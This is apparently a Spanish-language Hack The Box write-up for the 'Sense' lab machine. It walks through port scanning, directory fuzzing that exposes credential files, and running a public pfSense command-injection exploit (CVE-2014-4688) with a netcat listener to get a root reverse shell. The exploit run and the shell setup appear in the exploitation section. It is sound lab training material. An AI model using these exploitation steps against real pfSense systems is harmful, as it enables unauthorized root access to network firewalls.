Sense
Hack The Box — Metodología Detallada
Sense
| IP: | 10.129.27.239 |
| OS: | FreeBSD |
| Dificultad: | Easy |
| Fecha: | 13 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn IP -oG allPorts
# Output
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
En esta maquina solo se encontraron dos puertos abiertos, puerto 80 (HTTP) y puerto 443(HTTPS)
# Escaneo de versiones
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.129.27.239/
|_http-server-header: lighttpd/1.4.35
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time
**Hallazgo:**Se identifico la version del servicio Lighttpd teniendo una version vulnerable 1.4.35
Investigación: lighttpd es un servidor web ligero, diseñado para tener un consumo mínimo de recursos (CPU y memoria) en comparación con servidores como Apache o Nginx.
Enumeración
Enumeracion del servicio web

Hallazgo: se encontró un formulario de login del sistema pfSense, correspondiente a su panel de administración web (servido internamente por lighttpd). Aun no se cuenta con credenciales válidas para acceder al dashboard administrativo, por lo que se procedió a investigar otros vectores de acceso.
Hipótesis: se realizó una búsqueda de credenciales por defecto para
descartar que se tratara de un login con credenciales genéricas, pero no
fue el caso. Se optó entonces por enumerar directorios, con la hipótesis
de que podría existir un archivo tipo changelog.txt que revelara la
versión de pfSense instalada.
feroxbuster -u http://10.129.27.239/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt
[####################] - 10s 4752/4752 0s found:0 errors:1
No hubo ningún resultado. Se optó entonces por ejecutar whatweb para
identificar tecnologías adicionales, pero tampoco arrojó información de
valor más allá de lo ya conocido:
whatweb https://10.129.27.239/
https://10.129.27.239/ [200 OK] Cookies[PHPSESSID,cookie_test], Country[RESERVED]
[ZZ], HTTPServer[lighttpd/1.4.35], HttpOnly[PHPSESSID], IP[10.129.27.239], JQuery,
PasswordField[passwordfld], Script[text/javascript], Title[Login],X-Frame-Options
[SAMEORIGIN], lighttpd[1.4.35]
Porqué no funcionó: el escaneo inicial de feroxbuster no utilizó el
flag -x para probar extensiones de archivo, por lo que únicamente
evaluó nombres sin extensión, dejando fuera archivos como
changelog.txt. Se corrigió esto agregando la extensión txt
explícitamente y el flag –insecure para evitar el error de certificado
SSL autofirmado de pfSense.
feroxbuster -u https://10.129.27.239/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt -x txt --insecure
200 GET 10l 40w 271c https://10.129.27.239/changelog.txt
Porqué funcionó: al incluir explícitamente la extensión .txt en la
búsqueda, feroxbuster logró identificar el archivo changelog.txt, que
no había sido detectado en el escaneo anterior por no considerar esa
extensión. Se realizó un curl a esa ruta para obtener su contenido:
curl -k https://10.129.27.239/changelog.txt
# Security Changelog
### Issue
There was a failure in updating the firewall. Manual patching is therefore required
### Mitigated
2 of 3 vulnerabilities have been patched.
### Timeline
The remaining patches will be installed during the next maintenance window
Hallazgo: el archivo reveló información sensible de seguridad interna: se aplicaron parches para 2 de 3 vulnerabilidades conocidas, dejando explícitamente una vulnerabilidad sin corregir. Esto reduce significativamente el espacio de búsqueda de CVEs a investigar, confirmando que existe un vector de ataque activo y no mitigado en esta instalación de pfSense.
Hipótesis: tras varios intentos con feroxbuster usando wordlists
estándar (common.txt, raft-small-words.txt), no se encontró ningún
archivo adicional relevante. Se intentó replantear el enfoque asumiendo
que el nombre del archivo sería descriptivo y temático al contexto de la
máquina, pero no se logró deducir el nombre exacto por cuenta propia.
Por qué no funcionó: ninguna de las wordlists utilizadas contenía el
nombre específico del archivo, y el razonamiento manual tampoco fue
suficiente para deducirlo sin ayuda externa. Fue necesario consultar un
writeup de referencia para identificar que el archivo se llamaba
system-users.txt.
curl -k https://10.129.27.239/system-users.txt
####Support ticket###
Please create the following user
username: Rohit
password: company defaults%
Explotación
Identificación del exploit
Con la versión de pfSense confirmada ($\leq$ 2.1.3/2.1.4) y
credenciales válidas obtenidas del archivo system-users.txt (usuario
Rohit, contraseña por defecto de la empresa), se procedió a buscar
exploits públicos conocidos para esta versión.
searchsploit pfsense 2.1.3
pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection
| php/webapps/43560.py
Hallazgo: se identificó el exploit público CVE-2014-4688,
correspondiente a una vulnerabilidad de command injection en el
parámetro database del script status_rrd_graph_img.php, presente en
versiones de pfSense anteriores a la 2.1.4.
searchsploit -m php/webapps/43560.py
Corrección de compatibilidad SSL del exploit
Al ejecutar el exploit original, se obtuvo el error
SSLV3_ALERT_HANDSHAKE_FAILURE.
Porqué no funcionó: pfSense 2.1.3 (del año 2014) utiliza cifrados
TLS/SSL obsoletos. Las versiones modernas de Python/OpenSSL (en este
caso Python 3.14) rechazan por defecto el handshake con cifrados
considerados inseguros, a diferencia de curl, que es más permisivo por
defecto.
Se modificó el script agregando un adaptador SSL personalizado que
fuerza un nivel de seguridad de cifrado más bajo (SECLEVEL=1), y se
agregó verify=False en todas las peticiones HTTPS del script (login
GET, login POST y GET del exploit), ya que la verificación del
certificado autofirmado de pfSense tampoco era consistente entre las
distintas llamadas de la sesión de requests.
Porqué funcionó: al forzar SECLEVEL=1 en el contexto SSL, se le
indicó a OpenSSL que aceptara cifrados compatibles con sistemas antiguos
como pfSense 2.1.3, permitiendo completar el handshake TLS que antes era
rechazado por defecto en las versiones modernas de Python.
Ejecución del exploit
Se inició un listener para recibir la reverse shell:
nc -lvnp 4444
Y se ejecutó el exploit corregido, pasando las credenciales obtenidas y la IP de la máquina atacante:
python3 43560.py --rhost 10.129.27.239 --lhost 10.10.15.163 --lport 4444
--username rohit --password pfsense
CSRF token obtained
Running exploit...
Exploit completed
Listening on 0.0.0.0 4444
Connection received on 10.129.27.239 12929
sh: can't access tty; job control turned off
# sh
whoami
root
Resultado: el exploit ejecutó un comando inyectado a través del
parámetro database, obteniendo una reverse shell directamente como
root, sin necesidad de una fase posterior de escalada de privilegios
— el propio servicio web de pfSense corría con privilegios de root en
el sistema operativo.
cat /root/root.txt
d08c32a*************69f1a86
cat /home/*/user.txt
8721327cc2**********c17e7348b
Escalada de Privilegios
Nota: en esta máquina no fue necesaria una fase de escalada de
privilegios independiente. El servicio web de pfSense (y por extensión,
el status_rrd_graph_img.php vulnerable a command injection) corría con
privilegios de root desde el propio sistema operativo, por lo que la
explotación inicial otorgó acceso directo como root sin pasos
intermedios.
Reflexión Final
Qué salió bien
-
Se logró identificar correctamente que pfSense es una distribución basada en FreeBSD, y que
lighttpdera únicamente el servidor web interno de su panel de administración, entendiendo el contexto completo en vez de solo memorizar el dato. -
Al no encontrar el archivo de credenciales por cuenta propia, se reconoció el límite del propio conocimiento a tiempo, se consultó un writeup como último recurso, y se identificó explícitamente qué se había pasado por alto, en vez de simplemente copiar el resultado sin entenderlo.
-
Se persistió a pesar de sentir en varios momentos que no se sabía cómo continuar, incluyendo el deseo de abandonar la máquina, y se resolvió igual hasta el final.
Qué salió mal o costó más
-
Se invirtió bastante tiempo intentando encontrar el archivo
system-users.txtúnicamente con fuerza bruta de directorios, sin replantear a tiempo que el nombre dependía de una convención específica del creador de la máquina, difícil de adivinar con wordlists genéricas. -
El exploit público (
43560.py, del año 2018) no funcionó de forma directa debido a incompatibilidades de SSL entre el pfSense de 2014 y las versiones modernas de Python/ OpenSSL, lo cual requirió depurar errores de SSL poco familiares (SSLV3_ALERT_HANDSHAKE_FAILURE,CERTIFICATE_VERIFY_FAILED) antes de poder ejecutar el exploit correctamente. -
En general, esta fue la máquina donde más se sintió no saber cómo continuar, al punto de considerar dejarla incompleta antes de finalmente resolverla.
Lecciones aprendidas
-
Cuando el fuzzing con wordlists estándar no arroja resultados tras varios intentos razonables, conviene releer el contexto/pregunta con cuidado e identificar palabras clave temáticas antes de seguir escalando el tamaño de la wordlist — y, si aun así no se logra, reconocer el límite propio y consultar una fuente externa es válido, siempre que se entienda el porqué después.
-
Los exploits públicos antiguos frecuentemente fallan en sistemas modernos no por errores en el exploit en sí, sino por incompatibilidades de entorno (en este caso, versiones de OpenSSL más estrictas con cifrados obsoletos). Antes de asumir que un exploit no funciona, vale la pena leer el traceback completo del error.
-
pfSense es una distribución de FreeBSD con panel web propio; sus versiones antiguas (como 2.1.3) tienen vulnerabilidades de command injection conocidas y documentadas públicamente, y su servicio web suele correr con privilegios de root, lo cual puede otorgar acceso total al sistema en una sola fase de explotación.
-
Persistir en una máquina que se siente abrumadora, en vez de abandonarla, fue en sí mismo un aprendizaje — el mayor crecimiento técnico de esta máquina vino precisamente de los momentos donde menos se sabía cómo continuar.
Tiempo total
Tiempo total invertido en la resolución de la máquina: aproximadamente 2 horas y 30 minutos.